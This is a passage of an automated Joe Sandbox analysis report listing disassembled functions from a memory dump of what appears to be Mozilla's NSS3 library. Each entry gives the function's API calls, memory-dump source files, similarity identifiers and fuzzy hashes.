SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CB57E7B

Part of subcall function 6CBAFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CBA8D2D,?,00000000,?), ref: 6CBAFB85
Part of subcall function 6CBAFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CBAFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CC7925C,?), ref: 6CB57E92

Part of subcall function 6CBAB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CC818D0,?), ref: 6CBAB095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CB57EA1
SECOID_FindOID_Util.NSS3(00000004), ref: 6CB57ED1
SECOID_FindOID_Util.NSS3(00000004), ref: 6CB57EFA

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_FindItem_Value$AllocateCopyCriticalDecodeEnterErrorFreeInitLockPoolQuickSectionUnlockcallocmemcpy
String ID:
API String ID: 3989529743-0
Opcode ID: 1a3c25d6c63944721ae2006edf41a445a4251cd2e29682732efab8c85e41c0f8
Instruction ID: f6578da13cbad71dbd88d28b7bc4176fb6203ae26848fb9400150a23fa6e66ad
Opcode Fuzzy Hash: 1a3c25d6c63944721ae2006edf41a445a4251cd2e29682732efab8c85e41c0f8
Instruction Fuzzy Hash: 7A31AFB2B103909BEB108E659C44B6B73ACEF04258F498824DC15FBB01EB70EC14C7A1

Function 6CBADC10 Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000,?,?,00000000,?,?,6CBAD9E4,00000000), ref: 6CBADC30
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,00000000,?,?,6CBAD9E4,00000000), ref: 6CBADC4E
PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,?,6CBAD9E4,00000000), ref: 6CBADC5A
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CBADC7E
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CBADCAD

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Alloc_Util$Arenamemcpy
String ID:
API String ID: 2632744278-0
Opcode ID: 52b4cbb4306f5c94c36c9c042ef7345a2e7076bc07f32e065cf3601950de53c0
Instruction ID: 50c6177f534dd13dbe18c8d7d7a9ef63beef08186d48dd51e0766ada67625af5
Opcode Fuzzy Hash: 52b4cbb4306f5c94c36c9c042ef7345a2e7076bc07f32e065cf3601950de53c0
Instruction Fuzzy Hash: C03161B5604380AFD710CFA9E884B56B7F8EF09358F544429ED88CBB01E772E945CB91

Function 6CB72E40 Relevance: 10.6, APIs: 7, Instructions: 92COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000038,?,6CB6E728,?,00000038,?,?,00000000), ref: 6CB72E52
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CB72E66
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CB72E7B
EnterCriticalSection.KERNEL32(00000000), ref: 6CB72E8F
PL_HashTableLookup.NSS3(?,?), ref: 6CB72E9E
PR_Unlock.NSS3(?), ref: 6CB72EAB
PR_Unlock.NSS3(?), ref: 6CB72F0D

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: 4b1f7cf475ce34f556cce1ab722c3a7ba6b11b50f15516dac7953b6c63a38c86
Instruction ID: cf2e33b37bd6b7be44974d36072278cb03b9a59e3f57627cc2626d0c5b03656c
Opcode Fuzzy Hash: 4b1f7cf475ce34f556cce1ab722c3a7ba6b11b50f15516dac7953b6c63a38c86
Instruction Fuzzy Hash: 7731F475A00585ABEF109F69EC4487EB779EF05258B048164EC28C7B11FB32DC64C7E2

Function 6CBBCEE0 Relevance: 10.6, APIs: 7, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6CBBCD93,?), ref: 6CBBCEEE

Part of subcall function 6CBB14C0: TlsGetValue.KERNEL32 ref: 6CBB14E0
Part of subcall function 6CBB14C0: EnterCriticalSection.KERNEL32 ref: 6CBB14F5
Part of subcall function 6CBB14C0: PR_Unlock.NSS3 ref: 6CBB150D

PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6CBBCD93,?), ref: 6CBBCEFC

Part of subcall function 6CBB10C0: TlsGetValue.KERNEL32(?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB10F3
Part of subcall function 6CBB10C0: EnterCriticalSection.KERNEL32(?,?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB110C
Part of subcall function 6CBB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB1141
Part of subcall function 6CBB10C0: PR_Unlock.NSS3(?,?,?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB1182
Part of subcall function 6CBB10C0: TlsGetValue.KERNEL32(?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB119C

SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6CBBCD93,?), ref: 6CBBCF0B

Part of subcall function 6CBB0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CBB08B4

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6CBBCD93,?), ref: 6CBBCF1D

Part of subcall function 6CBAFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CBA8D2D,?,00000000,?), ref: 6CBAFB85
Part of subcall function 6CBAFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CBAFBB1

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6CBBCD93,?), ref: 6CBBCF47
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6CBBCD93,?), ref: 6CBBCF67
SECITEM_CopyItem_Util.NSS3(?,00000000,6CBBCD93,?,?,?,?,?,?,?,?,?,?,?,6CBBCD93,?), ref: 6CBBCF78

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$Value$CopyCriticalEnterItem_SectionUnlock$AllocateErrorFindMark_Tag_memcpy
String ID:
API String ID: 4291907967-0
Opcode ID: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction ID: 83fef427a0ac2c1a31a92b2c385b2cadcfd58931b68f6b1969bb9f4617784fbf
Opcode Fuzzy Hash: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction Fuzzy Hash: 3D1190A5A002845BEB00AEA66C41BBBB6ECDF54549F04403AE819E7741FF70DA0886B2

Function 6CB68C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CB68C1B
EnterCriticalSection.KERNEL32 ref: 6CB68C34
PL_ArenaAllocate.NSS3 ref: 6CB68C65
PR_Unlock.NSS3 ref: 6CB68C9C
PR_Unlock.NSS3 ref: 6CB68CB6

Part of subcall function 6CBFDD70: TlsGetValue.KERNEL32 ref: 6CBFDD8C
Part of subcall function 6CBFDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CBFDDB4

Strings

KRAM, xrefs: 6CB68C8F

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: b6cb7f8d82bf66a3ece39aa0ad6b78ad952d65475bee286b2ee129fd8e37fc29
Instruction ID: cf15be16dfb9509edf794eac4968de17c702a89370b2918a44fd942359365706
Opcode Fuzzy Hash: b6cb7f8d82bf66a3ece39aa0ad6b78ad952d65475bee286b2ee129fd8e37fc29
Instruction Fuzzy Hash: 762186B1A056418FD700AF79C48455DBBF4FF05308F05896ED894CBB11EB36D889CB92

Function 6CBE3E20 Relevance: 10.6, APIs: 7, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 6CBE5B40: PR_GetIdentitiesLayer.NSS3 ref: 6CBE5B56

PR_EnterMonitor.NSS3(?), ref: 6CBE3E45

Part of subcall function 6CC19090: TlsGetValue.KERNEL32 ref: 6CC190AB
Part of subcall function 6CC19090: TlsGetValue.KERNEL32 ref: 6CC190C9
Part of subcall function 6CC19090: EnterCriticalSection.KERNEL32 ref: 6CC190E5
Part of subcall function 6CC19090: TlsGetValue.KERNEL32 ref: 6CC19116
Part of subcall function 6CC19090: LeaveCriticalSection.KERNEL32 ref: 6CC1913F

PR_EnterMonitor.NSS3(?), ref: 6CBE3E5C
PR_EnterMonitor.NSS3(?), ref: 6CBE3E73
PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6CBE3EA6

Part of subcall function 6CBFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBFC2BF

PR_ExitMonitor.NSS3(?), ref: 6CBE3EC0
PR_ExitMonitor.NSS3(?), ref: 6CBE3ED7
PR_ExitMonitor.NSS3(?), ref: 6CBE3EEE

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Monitor$EnterValue$Exit$CriticalSection$ErrorIdentitiesLayerLeave
String ID:
API String ID: 2517541793-0
Opcode ID: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction ID: 84e3ce2900ef1e00ec651f19822e75e2867ee0d4a2b378327ae4578afdf56263
Opcode Fuzzy Hash: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction Fuzzy Hash: 8111A571514640AFDB319F2AFC02BCBB7A1DB44748F000824E55A87E30F736E829D752

Function 6CC62C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6CC62CA0
PR_ExitMonitor.NSS3 ref: 6CC62CBE
calloc.MOZGLUE(00000001,00000014), ref: 6CC62CD1
strdup.MOZGLUE(?), ref: 6CC62CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6CC62D27

Strings

Loaded library %s (static lib), xrefs: 6CC62D22

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: 28a066b7e389630c003f265e1f76dc7530a63dbda5da285fd0c442521acab3ba
Instruction ID: 104844fc4d0d569aa4b7519621d30aefca52b4507a57a753538447aa3166a9a4
Opcode Fuzzy Hash: 28a066b7e389630c003f265e1f76dc7530a63dbda5da285fd0c442521acab3ba
Instruction Fuzzy Hash: E011E2B1B00241AFEB008F5AE998A6A77B4EB4634DF14812DD80987F41F731DC08CBA1

Function 6CB5BDC0 Relevance: 10.6, APIs: 7, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CB5BDCA

Part of subcall function 6CBB0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CB587ED,00000800,6CB4EF74,00000000), ref: 6CBB1000
Part of subcall function 6CBB0FF0: PR_NewLock.NSS3(?,00000800,6CB4EF74,00000000), ref: 6CBB1016
Part of subcall function 6CBB0FF0: PL_InitArenaPool.NSS3(00000000,security,6CB587ED,00000008,?,00000800,6CB4EF74,00000000), ref: 6CBB102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CB5BDDB

Part of subcall function 6CBB10C0: TlsGetValue.KERNEL32(?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB10F3
Part of subcall function 6CBB10C0: EnterCriticalSection.KERNEL32(?,?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB110C
Part of subcall function 6CBB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB1141
Part of subcall function 6CBB10C0: PR_Unlock.NSS3(?,?,?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB1182
Part of subcall function 6CBB10C0: TlsGetValue.KERNEL32(?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CB5BDEC

Part of subcall function 6CBB10C0: PL_ArenaAllocate.NSS3(?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB116E

SECITEM_CopyItem_Util.NSS3(00000000,00000000,?), ref: 6CB5BE03

Part of subcall function 6CBAFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CBA8D2D,?,00000000,?), ref: 6CBAFB85
Part of subcall function 6CBAFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CBAFBB1

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CB5BE22
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CB5BE30
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CB5BE3B

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_ErrorValue$CopyCriticalEnterFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1821307800-0
Opcode ID: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction ID: df7a15622b42440c64bf459c0049716b04c8034e47e5538de1aac25d29cdaedd
Opcode Fuzzy Hash: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction Fuzzy Hash: 5701DBA5B4129166F6102A667C01FBF764CCF5128DF980031EE08A6B82FB61E52982B6

Function 6CBB0FF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CB587ED,00000800,6CB4EF74,00000000), ref: 6CBB1000
PR_NewLock.NSS3(?,00000800,6CB4EF74,00000000), ref: 6CBB1016

Part of subcall function 6CC198D0: calloc.MOZGLUE(00000001,00000084,6CB40936,00000001,?,6CB4102C), ref: 6CC198E5

PL_InitArenaPool.NSS3(00000000,security,6CB587ED,00000008,?,00000800,6CB4EF74,00000000), ref: 6CBB102B
TlsGetValue.KERNEL32(00000000,?,?,6CB587ED,00000800,6CB4EF74,00000000), ref: 6CBB1044
free.MOZGLUE(00000000,?,00000800,6CB4EF74,00000000), ref: 6CBB1064

Strings

security, xrefs: 6CBB1025

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: calloc$ArenaInitLockPoolValuefree
String ID: security
API String ID: 3379159031-3315324353
Opcode ID: e8438471ce400602286b6e7da794d11c367c38247130886e314430609e244e3f
Instruction ID: 196d916b33341933c1aba4e50e9d4fe12f64ef5f9c3a1ea734006b716e86d9f4
Opcode Fuzzy Hash: e8438471ce400602286b6e7da794d11c367c38247130886e314430609e244e3f
Instruction Fuzzy Hash: 75014831A402D09BE7202F6DAC08B7A3A7CFF16788F480125E808E7A51EF71C154EBD2

Function 6CBE1C60 Relevance: 10.5, APIs: 7, Instructions: 49COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6CBE1C74

Part of subcall function 6CBFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBFC2BF

DeleteCriticalSection.KERNEL32(?), ref: 6CBE1C92
free.MOZGLUE(?), ref: 6CBE1C99
DeleteCriticalSection.KERNEL32(?), ref: 6CBE1CCB
free.MOZGLUE(?), ref: 6CBE1CD2

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree$ErrorValue
String ID:
API String ID: 3805613680-0
Opcode ID: 0f93b77536ffd17564b6ba75a87eb0f4aeb1fc774ac80817385ab437cc4e95b1
Instruction ID: 0760b1dcf3ce5a58be635b5448cca5820b0dcda64e836b1393948f1c4d9d49df
Opcode Fuzzy Hash: 0f93b77536ffd17564b6ba75a87eb0f4aeb1fc774ac80817385ab437cc4e95b1
Instruction Fuzzy Hash: 910196B1F012619FDE20AFE4AC0DB4977B8E70A759F140125E50AEBB41D721D1894796

Function 6CC41C40 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 45COMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3(non-deterministic use of %s() in %s,?,a CHECK constraint,6CB43D77,?,?,6CB44E1D), ref: 6CC41C8A
sqlite3_free.NSS3(00000000), ref: 6CC41CB6

Strings

an index, xrefs: 6CC41C67
a generated column, xrefs: 6CC41C6C
non-deterministic use of %s() in %s, xrefs: 6CC41C85
a CHECK constraint, xrefs: 6CC41C76, 6CC41C81

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: sqlite3_freesqlite3_mprintf
String ID: a CHECK constraint$a generated column$an index$non-deterministic use of %s() in %s
API String ID: 1840970956-3705377941
Opcode ID: 2bea48d2142617a8fb4ea03c00e44993a97ee6134a7c11de6c2fc799025d85cb
Instruction ID: a467f29061ad0a214297171e7932e9f1cd8df9f8e134abb9d06aeef228c48fa7
Opcode Fuzzy Hash: 2bea48d2142617a8fb4ea03c00e44993a97ee6134a7c11de6c2fc799025d85cb
Instruction Fuzzy Hash: 140124B1A001405BD704AB2CD8029727BE5EFC638CB15486DE888CBB52FA22E856C751

Function 6CBF2E50 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000), ref: 6CBF3046

Part of subcall function 6CBDEE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6CBDEE85

PK11_AEADOp.NSS3(?,00000004,?,?,?,?,?,00000000,?,B8830845,?,?,00000000,6CBC7FFB), ref: 6CBF312A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CBF3154
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CBF2E8B

Part of subcall function 6CBFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBFC2BF

Part of subcall function 6CBDF110: PR_SetError.NSS3(FFFFE013,00000000,00000000,0000A48E,00000000,?,6CBC9BFF,?,00000000,00000000), ref: 6CBDF134

memcpy.VCRUNTIME140(8B3C75C0,?,6CBC7FFA), ref: 6CBF2EA4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CBF317B

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Error$memcpy$K11_Value
String ID:
API String ID: 2334702667-0
Opcode ID: cf4a0d6f0872d4c2eefc6beb42b2d581d353fa74d1de283b5f1f45addd1f78cd
Instruction ID: 13380dd332f5e79bcb8f9bab2a29123f98b2e8b42564fb86330336fff0cf1b0f
Opcode Fuzzy Hash: cf4a0d6f0872d4c2eefc6beb42b2d581d353fa74d1de283b5f1f45addd1f78cd
Instruction Fuzzy Hash: 94A1AE71A002589FDF24CF54CC80BEAB7B5EF45308F148199E9596B741E731AE8ACF92

Function 6CBBED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6CBBED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6CBBEDCE

Part of subcall function 6CBB0BE0: malloc.MOZGLUE(6CBA8D2D,?,00000000,?), ref: 6CBB0BF8
Part of subcall function 6CBB0BE0: TlsGetValue.KERNEL32(6CBA8D2D,?,00000000,?), ref: 6CBB0C15

free.MOZGLUE(00000000,?,?,?,?,6CBBB04F), ref: 6CBBEE46
